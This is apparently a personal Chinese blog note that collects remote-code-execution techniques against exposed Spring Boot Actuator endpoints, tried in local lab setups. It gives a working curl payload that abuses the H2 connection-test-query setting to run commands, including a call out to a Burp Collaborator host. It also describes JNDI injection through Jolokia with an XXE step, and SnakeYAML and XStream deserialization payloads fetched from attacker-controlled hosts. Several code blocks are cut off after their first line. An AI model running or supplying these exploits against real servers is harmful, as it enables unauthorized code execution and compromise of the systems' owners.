springboot actuator除了信息泄露,更大的危害是可能导致rce,记录一下。
首先查看是否有env路由,不一定在根目录下,可能在二级目录下。找到后查看是否允许post请求,能的话可以尝试rce,有几种方法。
springboot2
第一种是最新的,需要springboot2,开启restart路由。
流程很简单,首先修改spring.datasource.hikari.connection-test-query,创建一个新的数据库连接时这个变量的值就会执行,修改它为命令执行的代码
1 | curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'curl http://x.burpcollaborator.net\');\"}' 'http://localhost:8080/actuator/env' |
然后重启应用
1 | curl -X 'POST' -H 'Content-Type: application/json' 'http://localhost:8080/actuator/restart' |
我这里用作者给的docker实验,不知道为什么用burp的collaborator收不到请求,用vps开了个端口收到了。但是命令执行后程序就会退出,不知道是特例还是共性。
后几种都是springboot1下的。
jolokia1
第一种是利用jolokia。首先访问jolokia/list,查看是否存在reloadByURL,有的话就可以利用。漏洞环境https://github.com/veracode-research/actuator-testbed
首先可以xxe
1 | <!--logback.xml--> |
访问http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:9999!/logback.xml
即可完成攻击
然后还可以实现rce,利用的是JNDI注入。
修改logback.xml
1 | <configuration> |
修改rmiserver,代码来自https://github.com/mpgn/Spring-Boot-Actuator-Exploit
1 |
|
启动rmi服务
1 | java -Djava.rmi.server.hostname=127.0.0.1 -jar RMIServer-0.1.0.jar |
还是访问同一个链接,执行命令。
jolokia2
jolokia还有一种jndi注入rce的方法,查看/jolokia/list中org.apache.catalina.mbeans.MBeanFactory是否存在。
直接python打,还是自己起一个rmiserver
1 | #-*-coding:utf8-*- |
yaml反序列化
利用spring Cloud的spring.cloud.bootstrap.location属性配合yaml反序列化实现rce,参考https://github.com/artsploit/yaml-payload
1 | javac src/artsploit/AwesomeScriptEngineFactory.java |
向env端点post发送spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml,其中yml内容为
1 | !!javax.script.ScriptEngineManager [ |
之后post请求refresh端点触发。我这里失败了,只发起了向yml的http请求没有执行命令,应该是环境没有cloud。
xstream反序列化
利用xstream反序列化。首先查看env中是否有netflix,或者configprops下有没有eureka,有的话可以利用,没有的话也不一定利用不了。
开启python脚本
1 | #-*-coding:utf8-*- |
然后向env发起post请求eureka.client.serviceUrl.defaultZone=http://127.0.0.1:2333/xstream
然后post请求refresh,触发命令。我这里实验是定时执行,一分钟两次。
没啥新内容,就是整理记录一下,感觉最后一种好用一点。
参考链接
https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
https://www.freebuf.com/column/234266.html
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.cnblogs.com/junsec/p/12066305.html